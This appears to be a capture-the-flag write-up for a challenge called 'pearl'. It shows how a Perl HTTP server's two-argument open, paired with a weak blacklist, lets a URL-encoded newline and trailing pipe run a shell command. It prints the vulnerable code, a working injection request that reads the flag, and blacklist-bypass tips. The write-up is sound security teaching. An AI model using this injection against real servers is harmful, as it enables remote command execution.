๐ฆ Challenge source
๐ Introduction
The “pearl” challenge is about abusing Perlโs two-argument open
on unsanitized user input, which silently enables pipe opens (command execution) when the filename ends with a |
. The server also URL-decodes the path, so we can inject a newline and arguments. A partial blacklist misses this single trailing pipe case, letting us execute cat /flag*
and read the flag.
Context Explanation
- Tech: custom HTTP server using
HTTP::Daemon
(Perl), serving files from./files
(seeserver.pl
). - Entry point: request path (after URL decoding) is used to build a filesystem path, then passed to two-arg
open
. - “Sanitization”: a blacklist regex tries to block
..
, some shell metacharacters, and|.*|
, but does not block a single trailing|
and does not block newlines. - Flag: built at container start (
flag.txt
moved/renamed to/flag-<md5>.txt
), so/flag*
reliably matches.
RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt
Directive
- Craft a request path that, after URL-decoding, injects a newline and a shell command ending with a trailing pipe
|
. - Hit the server with that path so the two-arg
open
treats it as a pipe open and executes our command. - Use a glob
/flag*
to catch the randomized flag filename and read it.
๐ ๏ธ Solution
1) Server behavior & vulnerable code
Relevant pieces from server.pl
:
my $webroot = "./files";
...
while (my $r = $c->get_request) {
if ($r->method eq 'GET') {
my $path = CGI::unescape($r->uri->path); # URL-decodes (%0A => newline)
$path =~ s|^/||;
$path ||= 'index.html';
my $fullpath = File::Spec->catfile($webroot, $path);
# Partial blacklist โ note it only bans a pipe WHEN followed by ... another pipe
if ($fullpath =~ /\.\.|[,\`\)\(;&]|\|.*\|/) {
$c->send_error(RC_BAD_REQUEST, "Invalid path");
next;
}
...
# Serve file
open(my $fh, $fullpath) or do { # <-- two-arg open on untrusted string
$c->send_error(RC_INTERNAL_SERVER_ERROR, "Could not open file.");
next;
};
binmode $fh;
my $content = do { local $/; <$fh> };
close $fh;
...
Key points:
CGI::unescape
decodes%0A
to a literal newline inside$path
.- The regex does not forbid a single trailing
|
; it only matches\|.*\|
(a pipe, some stuff, then another pipe). - Two-argument
open
on a string that ends with|
turns into a pipe read from the preceding shell command (Perl feature). โ If$fullpath
becomes e.g."./files/x\ncat /flag*|"
, Perl executescat /flag*
and pipes its output into$fh
.
[Screenshot:
server.pl
showing the blacklist line and theopen(my $fh, $fullpath)
call]
Also from Dockerfile
:
COPY flag.txt /
RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt
This is why /flag*
is a reliable glob target for the flag.
2) PoC request (as provided) โ newline + trailing pipe
The provided PoC (pearl/poc/pearl.txt
) sends a raw HTTP request:
GET /x%0Acat%20/flag*%7C HTTP/1.1
Host: pearl.chal.imaginaryctf.org
Connection: keep-alive
URL-decoded path becomes:
/x
cat /flag*|
- Line 1 is a dummy filename under
./files/
(likely non-existent). - Line 2 is the shell command we want the Perl
open
to execute (because it ends with|
). - Net effect: two-arg
open
treats$fullpath
as a pipe, runscat /flag*
, and returns the flag content.
3) Why it works (concise)
- Two-arg
open
on an untrusted scalar enables special modes: a trailing|
is a pipe open (command execution). - The blacklist misses the single trailing
|
pattern and doesnโt strip newlines, letting us smuggle a separate shell command after a filename. CGI::unescape
ensures%0A
becomes a real newline inside the “filename.”/flag*
matches the randomized flag file produced at container startup.
Tips & Tricks
- Perl open gotcha: If you see
open($fh, $user_input)
, think pipe opens. Trailing|
(read from command) and leading|
(write to command) are classic primitives. - Bypass weak blacklists: Patterns like
\|.*\|
miss single pipes. Combine with newlines (%0A
) to break parsing and inject arguments naturally. - Globs vs. randomized filenames: When flags are renamed with a hash, use shell globs (
/flag*
) in your injected command to avoid guessing the exact name.